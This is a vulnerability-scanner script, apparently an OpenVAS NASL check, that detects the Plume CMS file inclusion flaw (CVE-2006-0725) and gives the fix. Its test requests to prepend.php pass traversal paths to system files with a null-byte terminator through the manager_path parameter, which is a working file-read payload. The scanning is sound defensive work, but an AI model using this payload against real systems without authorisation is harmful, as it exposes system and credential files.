Plume CMS <= 1.0.2 Remote File Inclusion Vulnerability

# SPDX-FileCopyrightText: 2006 Ferdy Riphagen
# Some text descriptions might be excerpted from (a) referenced
# source(s), and are Copyright (C) by the respective right holder(s).
#
# SPDX-License-Identifier: GPL-2.0-only

if(description)
{
  script_oid("1.3.6.1.4.1.25623.1.0.20972");
  script_version("2023-12-13T05:05:23+0000");
  script_tag(name:"last_modification", value:"2023-12-13 05:05:23 +0000 (Wed, 13 Dec 2023)");
  script_tag(name:"creation_date", value:"2006-03-26 17:55:15 +0200 (Sun, 26 Mar 2006)");
  script_tag(name:"cvss_base", value:"6.8");
  script_tag(name:"cvss_base_vector", value:"AV:N/AC:M/Au:N/C:P/I:P/A:P");
  script_cve_id("CVE-2006-0725");
  script_xref(name:"OSVDB", value:"23204");
  script_name("Plume CMS <= 1.0.2 Remote File Inclusion Vulnerability");
  script_category(ACT_ATTACK);
  script_tag(name:"qod_type", value:"remote_vul");
  script_family("Web application abuses");
  script_copyright("Copyright (C) 2006 Ferdy Riphagen");
  script_dependencies("find_service.nasl", "no404.nasl", "webmirror.nasl", "DDI_Directory_Scanner.nasl", "gb_php_http_detect.nasl", "os_detection.nasl", "global_settings.nasl");
  script_require_ports("Services/www", 80);
  script_exclude_keys("Settings/disable_cgi_scanning");

  script_tag(name:"solution_type", value:"VendorFix");

  script_tag(name:"solution", value:"Either sanitize the prepend.php file as advised by the
  developer (see references) or update to Plume CMS version 1.0.3 or later.");

  script_tag(name:"summary", value:"Plume CMS is prone to local and remote file inclusion vulnerabilities.");

  script_tag(name:"insight", value:"The version installed does not sanitize user input in the
  '_PX_config[manager_path]' parameter in the 'prepend.php' file. This allows an attacker to include
  arbitrary files and execute code on the system. This flaw is exploitable if PHP's register_globals
  is enabled.");

  script_xref(name:"URL", value:"http://www.plume-cms.net/news/77-Security-Notice-Please-Update-Your-Prependphp-File");
  script_xref(name:"URL", value:"http://www.securityfocus.com/bid/16662");
  script_xref(name:"URL", value:"http://secunia.com/advisories/18883/");
  exit(0);
}

include("host_details.inc");
include("os_func.inc");
include("http_func.inc");
include("http_keepalive.inc");
include("port_service_func.inc");
include("list_array_func.inc");
include("misc_func.inc");

files = traversal_files();

port = http_get_port(default:80);
if (!http_can_host_php(port:port)) exit(0);

foreach dir( make_list_unique( "/plume", "/cms", "/", http_cgi_dirs( port:port ) ) ) {

  if( dir == "/" ) dir = "";
  res = http_get_cache(item:string(dir, "/index.php"), port:port);
  if(res == NULL) continue;

  if(egrep(pattern:'<a href=[^>]+.*alt="powered by PLUME CMS', string:res)) {

    prefix[0] = "/";
    prefix[1] = "c:/";

    for(test = 0; prefix[test]; test++) {

      foreach pattern(keys(files)) {

        file = files[pattern];

        url = string(dir, "/prepend.php?_PX_config[manager_path]=", prefix, file, "%00");
        req = http_get(item:url, port:port);
        recv = http_keepalive_send_recv(data:req, bodyonly:TRUE, port:port);
        if (!recv) continue;

        if (egrep(pattern:pattern, string:recv) ||
         # And if magic_quotes_gpc = on, check for error messages.
         egrep(pattern:"Warning.+\([^>]+\\0/conf/config\.php.+failed to open stream", string:recv)) {
          report = http_report_vuln_url( port:port, url:url );
          security_message( port:port, data:report );
          exit( 0 );
        }
      }
    }
  }
}